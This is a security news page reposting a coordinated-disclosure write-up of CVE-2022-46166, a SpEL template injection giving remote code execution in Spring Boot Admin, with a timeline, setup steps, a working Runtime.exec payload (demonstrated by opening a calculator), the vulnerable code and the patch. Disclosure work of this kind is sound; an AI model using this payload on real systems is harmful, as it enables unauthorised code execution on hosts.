Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
Windows Tipps & SecurityBeyond the Build – September 2026(22.09.2026 um 00:36 Uhr)
Videos & KonferenzenGoogle for Developers: Understand the Gemma 4 model family(22.09.2026 um 01:00 Uhr)
Unix & Linux ServerSecurity: Zwei Probleme in gstreamer1-plugins-base (Red Hat)(21.09.2026 um 23:23 Uhr)
Unix & Linux ServerSecurity: Pufferüberlauf in corosync (Red Hat)(22.09.2026 um 00:49 Uhr)
Sichere ProgrammierungGitHub Enterprise adds credential inventory exports(21.09.2026 um 23:13 Uhr)
Sichere ProgrammierungYour First Factory: GtkListView and the Bind/Unbind Rhythm(22.09.2026 um 01:00 Uhr)
Windows Tipps & SecurityBeyond the Build – September 2026(22.09.2026 um 00:36 Uhr)
Videos & KonferenzenGoogle for Developers: Understand the Gemma 4 model family(22.09.2026 um 01:00 Uhr)
Unix & Linux ServerSecurity: Zwei Probleme in gstreamer1-plugins-base (Red Hat)(21.09.2026 um 23:23 Uhr)
Unix & Linux ServerSecurity: Pufferüberlauf in corosync (Red Hat)(22.09.2026 um 00:49 Uhr)
Sichere ProgrammierungGitHub Enterprise adds credential inventory exports(21.09.2026 um 23:13 Uhr)
Sichere ProgrammierungYour First Factory: GtkListView and the Bind/Unbind Rhythm(22.09.2026 um 01:00 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

CVE-2022-46166 - Template Injection - Remote Code Execution

Disclosure Timeline The communication was very professional and fast from Codecentric: 28.11.2022 - Notification of vulnerability via E-Mail 02.12.2022 - Confirmation of the vulnerability 09.12.2022 - Github Security Advisory and CVE…

0
↗ Quelle (dev.to)
Reagiere als Erste:r — dein Feedback zählt!




Disclosure Timeline



The communication was very professional and fast from Codecentric:




  • 28.11.2022 - Notification of vulnerability via E-Mail

  • 02.12.2022 - Confirmation of the vulnerability

  • 09.12.2022 - Github Security Advisory and CVE assignment

  • 12.12.2022 - Disclosure coordination and confirmation of this blog with Codecentric






Asset








Pre-Requisites




  • Authenticated User

  • Notification support enabled for Teams (potentially others)






Issue



The Spring Boot Admin application allows to evaluate code via a dynamic Spring Boot environment variable that can be controlled from within the web application. This will allow an attacker with access to the application to run arbitrary code on the host.



Summary of the attack steps:




  1. Build servlet application with MS Teams notify support.

  2. Create environment variable with Java gadget via app.

  3. Trigger event for notification.

  4. Code injection gets executed.




IMPORTANT: As the following proof of concept will show only the easiest way to abuse this feature other ways can be possible, which could reduce the given pre-requisite.




A scenario that should be checked is:




  1. A CustomNotifier that notifies for unauthorized login events of the auditevents endpoint.

  2. A user could wish to log the username of a failed authentication.

  3. The attacker controlled username could contain a Java gadget which gets then executed.

  4. Which resulting in an unauthenticated remote code execution.






Proof of Concept



Clone the Spring Boot Admin application:




git clone https://github.com/codecentric/spring-boot-admin.git






We will use the sample servlet application in the repository to create the test candidate for the research.



Add the following to the file spring-boot-admin-samples/spring-boot-admin-sample-servlet/src/main/resources/application.yml:




  boot:
admin:
notify:
ms-teams:
webhook-url: "http://localhost:8081"






This will enable the MS Teams notification feature.



As I don't have a valid Teams subscription to add an actual web hook we will just use any localhost address and accept the errors thrown from the application.



We will build the application with:




./mvnw clean package






After everything is finished we start the app with:




cd spring-boot-admin-samples/spring-boot-admin-sample-servlet/target
java -jar spring-boot-admin-sample-servlet.jar






This will start the servlet and the UI can be accessed at http://localhost:8080.

The username and password are user:password as detailed in the application.yml file we changed before.



Login and open the Environment tab for the instance.



http://localhost:8080/instances/a10163509cb8/env

Environment



Add the following environment variable:




  • Property name: spring.boot.admin.notify.ms-teams.theme_color

  • Value: #{T(java.lang.Runtime).getRuntime().exec('open -a calculator')}
    (The java gadget will open the calculator on MacOS. For Linux or windows the payload can be easily adapted.)



Update and refresh the context.



Now you need to trigger a notification.



The easiest is when you delete the application.



http://localhost:8080/applications

Application



The following gif demonstrates the exploit:

Exploit



The vulnerable code can be found here:




    public void setThemeColor(String themeColor) {
this.themeColor = parser.parseExpression(themeColor, ParserContext.TEMPLATE_EXPRESSION);
}









Remediation



For the remediation review the patch here.



The org.springframework.expression.spel.support.SimpleEvaluationContext(see docs) class replaces the org.springframework.expression.spel.support.StandardEvaluationContext class.




In many cases, the full extent of the SpEL language is not required and should be meaningfully restricted. Examples include but are not limited to data binding expressions, property-based filters, and others. To that effect, SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.


Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten CVE-2022-46166 - Template Injection - Remote Code Execution

Thematisch verwandte Begriffe: CVE202246166, Template, Injection, Remote · 6 Treffer

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-49449 | Joplin is an open source note-taking and to-do application that organise…
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick